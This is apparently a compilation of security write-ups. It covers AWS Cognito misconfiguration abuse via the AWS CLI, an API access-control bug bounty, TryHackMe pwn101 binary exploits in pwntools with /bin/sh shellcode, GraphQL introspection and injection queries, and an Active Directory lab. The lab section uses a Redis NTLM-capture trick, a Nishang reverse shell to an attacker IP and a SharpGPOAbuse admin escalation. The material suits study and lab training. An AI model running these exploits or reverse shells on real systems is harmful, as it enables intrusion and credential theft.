• Self-signup using a public App Client ID (and weak sign-up controls)

  Allows anyone to create accounts if sign-up controls are weak, potentially letting attackers register unauthorized users**.**

• Obtaining temporary AWS credentials via Identity Pool ID with overly permissive IAM roles
  If an attacker discovers a valid Identity Pool ID, they can interact with AWS Cognito APIs to exchange it for temporary AWS credentials

• Allowing users to update attributes that control privileges (e.g., setting admin via UpdateUserAttributes) 
  If users can modify attributes like admin status via UpdateUserAttributes, it can lead to unauthorized privilege escalation.

Common features:

AWS authentication systems provide robust and flexible mechanisms for managing user access across applications and cloud resources. Key features include support for standard OAuth2 flows for secure authentication, management of user attributes and roles, and seamless integration with AWS services.

• OAuth2 flows: Supports standard OAuth2 flows (e.g., Authorization Code with PKCE) to securely authenticate users and issue JWTs (ID, Access, Refresh) for session management and authorization.

• Typical flow: A user authenticates via a User Pool and receives JWTs, which are used by the application for access control or exchanged through an Identity Pool to obtain temporary AWS credentials for accessing AWS resources.

• User Pools: Manages user registration and login, maintains user profiles, and issues JWT tokens for authentication. It also supports social logins, MFA, and custom authentication flows.

• Identity Pools (Federated Identities): Allows applications to exchange User Pool or federated tokens for temporary AWS credentials, mapping users to IAM roles to securely access AWS resources.

1) Self-signup using a public App Client ID (and weak sign-up controls)

The absence of a sign-up page or button in an application does not necessarily prevent attackers from creating accounts. If the Cognito User Pool does not enforce “Admin Only” sign-up, and an attacker is able to discover the User Pool Client ID along with the required registration parameters, they can still register an account using the AWS CLI.

Exploitation:

Once an attacker has identified the User Pool Client ID, they can use the AWS CLI to sign up for an account.

By inspecting the application’s JavaScript, both the client ID and user pool ID can be identified.

$ aws cognito-idp sign-up --client-id {client_id} --username {username} --password {password} --user-attributes Name=email, Value={email_address} --region {region}

After signing up, confirm the email address using the code sent to your email with the AWS CLI.

$ aws cognito-idp confirm-sign-up --client-id {client_id} 
--username{username} --confirmation-code {CONF_CODE} --region {region}

Once the account is confirmed, the attacker can authenticate and obtain valid tokens (ID token, access token, and refresh token).

These tokens can then be used to interact with protected application resources. In misconfigured environments, this may lead to further abuse, such as:

• Accessing restricted APIs

• Enumerating users or resources

• Obtaining temporary AWS credentials via identity pools

• Exploiting overly permissive IAM roles

2) Obtaining temporary AWS credentials via Identity Pool ID with overly permissive IAM roles

A valid Identity Pool ID + the right API calls can lead to temporary AWS credentials. If the IAM roles mapped to the identity pool grant broad permissions (S3*, DynamoDB*, sts:*), an attacker can access or modify AWS resources.

An attacker can use the Identity Pool ID leaked in a JavaScript file or elsewhere to request an identity ID.

Exploitation

$ aws cognito-identity get-id --identity-pool-id {identity_pool_id} 
--region {region}

Next, the attacker exchanges the identity ID for temporary AWS credentials:

$ aws cognito-identity get-credentials-for-identity --identity-id {identity_id} --region {region}

If the Identity Pool allows unauthenticated access, or if authentication can be bypassed or achieved (e.g., via self-signup), the attacker will receive temporary credentials including:

• Access Key ID

• Secret Access Key

• Session Token

These credentials can then be used to interact directly with AWS services.

In cases where the IAM roles attached to the Identity Pool grant excessive permissions (e.g., s3:, dynamodb:, sts:*), the attacker may be able to:

• List, read, or modify S3 buckets

• Access or manipulate DynamoDB tables

• Invoke Lambda functions

• Escalate privileges via STS

• Access other sensitive AWS resources

3) Allowing users to update attributes that control privileges (e.g., setting admin via UpdateUserAttributes)

In Amazon Cognito, user attributes are often used by applications to determine roles and access levels (e.g., "role=admin" or custom attributes like "custom:isAdmin").

If sensitive attributes are not properly restricted, an attacker can modify their own attributes to escalate privileges.

After obtaining valid access tokens (e.g., via self-signup or direct login if allowed ), the attacker can update their user attributes using the AWS CLI.

$ aws cognito-idp get-user --access-token {access_token} --region {region}

$ aws cognito-idp update-user-attributes --access-token {access_token}
  --user-attributes Name=custom:role,Value=admin --region {region}

If the application relies on these attributes for authorization decisions without proper server-side validation, the attacker may gain elevated privileges such as administrative access.

The screenshot below shows one of the misconfigurations acknowledged by HackerOne and rewarded based on its severity and CVSS score.

Remediation:

Fixing these common AWS Cognito misconfigurations doesn’t have to be complicated. By applying a few careful controls and validation checks, you can significantly reduce security risks and ensure your identity management remains robust. Here are some practical steps to get started:

• Disable self-signup if not needed, or enforce strong verification (email/phone) and domain/email allowlists.

• Apply least privilege to IAM roles in identity pools; separate roles for authenticated and unauthenticated users.

• Avoid granting sensitive permissions like full S3 or DynamoDB access to temporary credentials.

• Never rely on user-controlled attributes for authorization, manage roles via backend logic or Cognito groups.

• Restrict which user attributes can be updated and validate changes server-side.

Sometimes, the best vulnerabilities aren’t found with brute-force, fuzzing or fancy payloads they’re hiding in plain sight, right inside the documentation.

While testing a private program on HackerOne — let’s call it target.dev . I came across a platform designed to manage organizations and teams. The functionality was quite structured:

• An organization admin could invite team members and assign roles like admin or member.

• There was a feature to generate API tokens with scoped permissions for example, a token that could manage teams but not the organization itself.

• The best part? The target had public API documentation showing exactly how to use the token with different endpoints.

• If you're testing an app that allows users to create or generate API tokens, take time to:

  • Explore the full API documentation, especially looking for different API versions (like /v1, /v2, /v3, etc.).

  • Understand what each token can access, especially the scope or permission model.

  • Cross-check documented endpoints with live behavior and don’t stop at what’s written.

Sometimes, the gap between documentation and implementation is where bugs live.

The API docs clearly laid out endpoints like:

• GET /api/v3/<orgid>/users – list team members

• POST /api/v3/<orgid>/users – invite a new team member

• PATCH /api/v3/<orgid>/users/<userid> – update a team member

All of these endpoints respected the token’s assigned permissions. I had a token created with the permission to only manage teams, not the full organization. When I tested those three endpoints, everything worked exactly as expected: access denied for anything outside the allowed scope.

But then I thought: What about undocumented or unmentioned HTTP methods?

I took the same endpoint path and simply tried:
/api/v3/<orgid>/users/<userid>

DELETE /api/v3/<orgid>/users/<userid>

To my surprise…It worked out of the blue.

Despite having a token with limited permissions, I was able to delete any user from the team including the organization admin.

Why This Was Critical

• The DELETE method was not documented anywhere in the official API docs.

• The token I used was never intended to perform destructive actions like removing members.

• An attacker with such a token could remove all admins, lock out legitimate users.

I reported the issue to the program through HackerOne. The team responded quickly, acknowledged the vulnerability, and fixed it by updating access control on the DELETE method and improving the API documentation to avoid such blind spots in the future.

This is about binary exploitation and reverse engineering on a tryhackme machine pwn101. There are 10 labs for 10 different kinds of binary vulnerabilities.

• Buffer overflow

• Modify the variable's value

• Return to win

• Return to shellcode

• Integer Overflow

• Format string exploit

• Bypassing mitigations

• GOT overwrite

• Return to PLT

• Playing with ROP

pwn101

So let's start with pwn 101 it has a downloadable file pwn101.pwn101, And it is about buffer overflow. First checksec a binary to see what mitigations is provided with it,

You can see there is no any stack canary available to protect from buffer overflow, so run the binary and provide a large no of inputs other than it expected. If you don't know what stack canary is click here.

OK we successfully overflowed the binary function gets which is vulnerable to buffer overflow and jump to /bin/sh. So to get flag we have to test on remote server.The exploit written in python with help of pwntools.

You can check others exploits on my github repo here.

#!/usr/bin/env python3

from pwn import *

binary=context.binary=ELF("./pwn101.pwn101")
context.log_level="critical"
payload=b"A"* 0x40 + b"A"*0x4 + b"B"*0x8
p=remote("10.10.86.157",9001)
#p=process()
p.sendline(payload)
p.recv()
p.interactive()

Run the python script ./exploit101.py and we got the flag on the remote server.

pwn102

Ok as usual lets start with the checksec using command.

checksec -file=pwn102.pwn102

Also there is no stack canary present, and it is vulnerable to buffer overflow Lets debug this binary on radare2,

r2 -d -A pwn102.pwn102

The scanf function is taking values in @rbp-0x70 without any size validation so we can overflow the buffer but we need to modify two variables @rbp-0x4 and @rbp-0x8 with0xc0d3and 0xc0ff33 respectively because these are set on the stack above buff4r.

After that we can get to call /bin/sh and spawn a shell.

Lets write a script to execute on remote server on port 9002.

#!/usr/bin/env python3

from pwn import *

context.binary=binary=ELF("./pwn102.pwn102")
context.log_level="critical"
payload = b"A"*104
payload+= p32(0xc0d3)
payload+= p32(0xc0ff33)
#p=process()
p=remote("10.10.103.79",9002)
p.sendline(payload)
p.interactive()

Finally we got the flag

pwn103

Ok This is about re2win, it is basically overwriting the instruction pointer to return to the desired function. lets start with checksec.

There is no stack canary and PIE is disabled, meaning we can overflow the buffer and the address of the function won't change between execution (PIE disabled).

lets run the binary first and see.

./pwn103.pwn103

It's asking for options and case 3 is vulnerable to buffer overflow, we can send as many bytes we want because it is using scanf() function that is not checking buffer size limitations as you can see below.

So as mentioned earlier PIE is disabled so address won't change on execution.We can get win() function and this time it is admins_only() which will spawn a /bin/sh shell. So we will get admins_only address (sym.admins_only) and overwrite the RIP to return the general() function to admins_only().

Lets write a script to get the flag on remote server on port 9003.

#!/usr/bin/env python3

from pwn import *

context.binary=binary=ELF("./pwn103.pwn103")
context.log_level="critical"

#p=process()
p=remote("10.10.114.45",9003)

#get the win() function address
admins_only=p64(binary.symbols.admins_only)

#To overcome stack alignement we have to put ret gadgets
ret_address=p64(0x00401377)

#We overwrite the buffer as well as 0x20 bytes until reach rbp and overwrite rip with win() adress
payload=b"A"*0x20 + b"B"*0x8 + ret_address + admins_only
#To choose vulnerable option

p.sendline(b"3")
p.sendline(payload)
p.interactive()

In the above exploit we are first sending b"3" bytes to choose option general, then sending bytes of 0x20 to overwrite the buffer until we reach to the RBP and 0x8 bytes to overwrite RBP itself and ret_address for stack alignement as well as admins_only adress to overwrite the RIP to call win() function (admins_only).

Run the script and get the flag.

Ppython exploit103.py

pwn104

This lab has file pwn104.pwnn104 which we have to download. Its about ret2shellcode, basically executing shellcode or remote code execution(RCE)

At first run the binary file and see what we got.

./pwn104.pwn104

Here we can see its leaking address 0x7ffc7ae5a10, which we really don't know what it is? And this address is changing everytime you run the binary because of Address space layout randomization(ASLR).So lets check the file.

checksec -file=pwn104.pwn104

Actually it has not any mitigations actually other than partial relro.

There is no stack canary, NX disabled, No PIE, so we can overflow the buffer, and also can execute shellcode as well as adresses won't change between execution.

So lets open with cutter and analyze the binary.

There is read function that reads our input as bytes ranging from 0–200 bytes(0xc8) at the end and stores in buf at memory rbp-0x50 and we can overflow this buffer pretty easily.

Then it returns to the address and exits the program. Unlike previous lab here is not any win() function to return to after overflowing buffer, but we can execute shellcode from stack as NX is disabled.

And now basic summary is that we first overflow the buf with shellocode and remaining spaces with A's and B's and also overwrite rbp itself. Then to execute code by returning to shellcode we should overwrite the instruction pointer with buff_address where we stored shellcode. Due to ASLR address might change on execution on system though NX is disabled,but luckily we have address of buf every time running the binary which is 0x7ffc7ae5a10.

And what shellcode we should provide and well it is code that will execute /bin/sh on the system and you can find it here.

We successfully got the shell but locally, now to get the flag test on the remote server. So let's write the exploit.

#!/usr/bin/env python3

from pwn import *

binary=context.binary=ELF("./pwn104.pwn104")
context.log_level="critical"
shellcode=b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
#p=process()
p=remote("10.10.144.168",9004)
p.recv()

output=p.recv()
buff_address=int(output.split(b"at")[1].strip().decode("utf-8"),16)
payload=shellcode + b"A"*(0x50 -len(shellcode)) + b"B"*0x8 + p64(buff_address)
p.sendline(payload)

p.interactive()

Here we should parse the output to get actual buff_address to return.

We got the flag.

pwn105

This is all bout integer overflow and underflow. If you want to know more about integer overflow here is the link.

Now as always lets check the binary,

It is 64 bit ELF executable with dynamically linked and not stripped.

checksec -file=pwn105.pwn105

It has every protections, like canary, NX bit enabled and PIE is also enabled. So every previous attacks are minimized.

lets dig into the debugger to see anything we can do to exploit this binary.But first run the binary.

./pwn105.pwn105

It is asking for two unsigned integers and gives output but if we provide signed numbers it detects errors. So let's check the internal programs to evaluate the binary more deeper.

The values provided by users are stored in the var_14h and var_10h and after adding the sum is stored in var_ch. Then it checks both of the values are unsigned(+) or not.

After that the sum is compared if it is signed or unsigned. If its signed then we jump to the next address where system function is called to /bin/sh and pop up a shell.

So we know we need to make sum signed(-) but how is this possible with both unsigned numbers. Here comes the vulnerability of integer overflow and underflow. If we add any unsigned numbers to the maximum possible unsigned numbers in 8,16,32 or 64 bits integer then integer is overflowed and becomes signed(-) and vice versa for underflow.

So to exploit this binary we should overflow the integers by adding any unsigned numbers to the maximum possible 32 bits unsigned integer(2,147,483,647) and which is (2,147,483,647+1)=-2,147,483,648.

so let's write our exploits to get the flag on the remote server and get the flag.

#!/usr/bin/env python3

from pwn import *

binary=context.binary=ELF("./pwn105.pwn105")
p=remote("10.10.23.48",9005)
p.sendlineafter(b"]>>",b"2147483647")
p.sendlineafter(b"]>>",b"1")
p.recv()
p.interactive()

pwn106

Let's begin another challenge, it is about fromat string vulnerability. This is basically exploiting format specifier of printf() family. If you want to learn more then go here.

First checksec -file=pwn106user.pwn106-user the binary and we got mitigations for each and every field.

Now Let's run the binary.

Ok, you can see we are able to leak something. But we don't know what is this stuff. If you don't know it is leaking decimal values from registers and stack(0x64 architecture).

if we supply more format specifier on the user input, vulnerable printf() function will leak every values from registers and stack. The order of leaking start from first register (rsi,rdx,rcx,r8,r9) and then remaining stack.

So our flag starts from "THM" whose hex value is "54484d" which you can see is in 6th position and up to 'x}' 0x7d58 which is 10th. For this we have to write exploit to get flag on remote server.

#!/usr/bin/env python3

from pwn import *

binary=context.binary=ELF("./pwn106user.pwn106-user")
#context.log_level="debug"
#(rdi) rsi, rdx, rcx, r8, r9, then stack is leaked.

payloads="%6$lx.%7$lx.%8$lx.%9$lx.%10$lx.%11$lx"

#p=process()
p=remote("10.10.5.50",9006)
p.recv()
p.recv()

p.sendline(payloads)
output=p.recv().strip().split(b" ")[1].split(b".")
flag=""

for word in output:
flag+=bytes.fromhex(word.decode("utf-8"))[::-1].decode("utf-8")
print("The flag is:{}",format(flag))

let's run the exploit and get the flag.

• GraphQL is an open-source data query and manipulation language for APIs and a query runtime engine. GraphQL enables declarative data fetching where a client can specify exactly what data it needs from an API.

Difference between Rest API and GraphQl

• With a REST API, you would typically gather the data by accessing multiple endpoints. In the example, these could be /users/<id> endpoint to fetch the initial user data. Secondly, there’s likely to be a /users/<id>/posts endpoint that returns all the posts for a user. The third endpoint will then be the /users/<id>/followers that returns a list of followers per user.

• In GraphQL on the other hand, you’d simply send a single query to the GraphQL server that includes the concrete data requirements. The server then responds with a JSON object where these requirements are fulfilled.

Queries and Mutations

• Query is essentially used to fetch data from the servers, something alike GET requests in REST API.

• Whereas mutations used to update, create and delete the data , usually performing like POST , PATCH AND DELETE in REST API.

Introspection Query

• Introspection is the ability to query which resources are available in the current API schema. Given the API, via introspection, we can see the queries, types, fields, and directives it supports.

• This is the full request to perform you GraphQL introspection on your target.

query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType
{name}types{...FullType}directives{name description locations args
{...InputValue}}}}fragment FullType on __Type{kind name description 
fields(includeDeprecated:true){name description args{...InputValue}type
{...TypeRef}isDeprecated deprecationReason}inputFields
{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true)
{name description isDeprecated deprecationReason}possibleTypes
{...TypeRef}}fragment InputValue on __InputValue{name description type
{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType
{kind name ofType{kind name ofType{kind name ofType
{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}

Manual Introspection to find types and schemas

query Introspection{
    __schema{
        types{
            name
          }
}}

• This shows all the available Operational types on the schemas.

• And To identify the available query types.

query Introspection {
    __schema{
        queryType{
            fields{
            name
            }
        }
   }
}

• To identify the available mutations types.

query Introspection {
    __schema{
        mutationType{
            fields{
            name
          }
        }
   }
}

• Now if you want to know the available fields and their names for specific query or mutation types.

query Introspection {
    __type(name:"User"){
            fields{
            name
    }
   }
}

Finding vulnerabilities on the graphQl APIs

Insecure Direct Object Reference (IDOR)

query allUsers {
    getUser(id:3){
        id
        username
        password
    }
   }
}

Change the id to any other user id for IDOR which could lead to access another user's username and password.

Sensitive data Exposures

query Introspection {
    __schema{
        types{
            name
    }
   }
}

• Sometimes running this query might return sensitive query or mutation types which might be used internally or could be used to access sensitive data and manipulate them.

Injections (sqli, xss, csti/ssti, ssrf, etc)

query allUsers {
    getUser(username:"john'"){
        id
        username
        password
    }
   }
}

Graphql are mostly vulnerable to sql injection, as it's architecture is kind of similar to relational database.

Many client side as well as sever side vulnerabilities could be found on the graphql APIs. Only the syntax is hard to construct, as it is no different than REST APIs, using above manual introspection to find available query and mutation types, it would be efficient to exploit the potential vulnerabilities. Some of the best tools for graphql testing are:

• Graphql voyager

• InQL burpsiute extension

References

This room on tryhackme is all about active directory and domain controller. So let's begin our machine with Nmap scanning.

Every domain controller services are up and running which is part of AD DC. But Kerberos is not running so we can not AS-REP roasting the usernames to check if they are valid.

I ran the Nmap to scan all ports.

Here many ports are open so it is always beneficial to check for all ports. RPC and LDAP services are also running, Smb is a very good option to start with and I did the same.

SMB port 445 enumeration

But unfortunately, we got access denied for every possible command of smbclient, smbmap, and netexec to enumerate users' share on smb port 445.

It confirms that no guest and a null session are allowed.

Redis exploitation

But my eyes got on to port 6379 (Redis). I was unaware of this but hacktricks are always a good option to search for anything.

Redis is a No-sql database that stores information alongside key-value called keyspaces. The version of Redis key-value store 2.8.2402 is vulnerable to ssrf + CRLF.

Here we can exploit Redis via ssrf, but we must know the path to the windows server files

redis-cli -h 10.10.245.19 eval "dofile('C:\\\Users\\\enterprise-security\\\Desktop\\\users.txt')" 0

we got the users.txt flag. If we can get any files why not exploit further to get Authenticated user's NTLM hash? If we forge redis to connect back to our attacking machine, maybe users' hashes will be exposed.

I set up the responder from impacket, when users from the Redis server try to connect to our machine responder will log the hashes.

sudo responder -I 10.9.0.31

redis-cli -h 10.10.245.19 eval "dofile('//10.9.0.31/test')" 0

Since we got the user enterprise-security hash, we cracked with john the ripper and got the password.

SMB port 445 enumerations 2nd round

We have now a username and password, so we can enumerate allowed shares on smbserver. I tried to log into enterprise-Share on smb and successfully logged in.

smbmap -H 10.10.155.156 -u enterprise-security -p pass

smbclient //10.10.155.156/enterprise-share -U 'enterprise-security' pass

There is a Powershell script scheduled to run, PurgeIrrelevantData_1826.ps1 with content.

rm -Force C:\Users\Public\Documents\* -ErrorAction SilentlyContinue

Maybe we can replace this script with a reverse shell. We do have written permission for this share.

Initial foothold

We use Nishang reverse shell to replace PurgeIrrelevantData_1826.ps1 and put it on the smb server overriding the same file and setting up Netcat listener to catch the shell.

Add this line to the bottom of the script and wait for netcat to catch the shell.

Invoke-PowerShellTcp -Reverse -IPAddress 10.9.0.31 -Port 4444

nc -lvnp 4444

Finally, we got reverse shell as enterprise security for the windows server.

Privilege Escalation

When I get the foothold on the machine, I always start with winPEAS.exe and it does give me some useful information which is SeImpersonatePrivilege.

I collect domain info with bloodhound-python and upload it to the bloodhound for analyzing users, groups, and domains.

Here is the shortest path to the admin where we will be abusing one of the GPO(group policy object) on which we can edit users' permission, local groups, memberships, and computer tasks.

We use SharpGPOAbuse.exe to escalate our privilege.

./SharpGPOAbuse.exe AddComputerTask TaskName "babbadeckl_privesc" Author vulnnet\administrator Command "cmd.exe" Arguments "/c net localgroup administrators enterprise-security /add" GPOName "SECURITY-POL-VN"

gpupdate /force

We can access admin via smbclient.

smbclient //10.10.56.175/C$ -U 'enterprise-security' sand_………...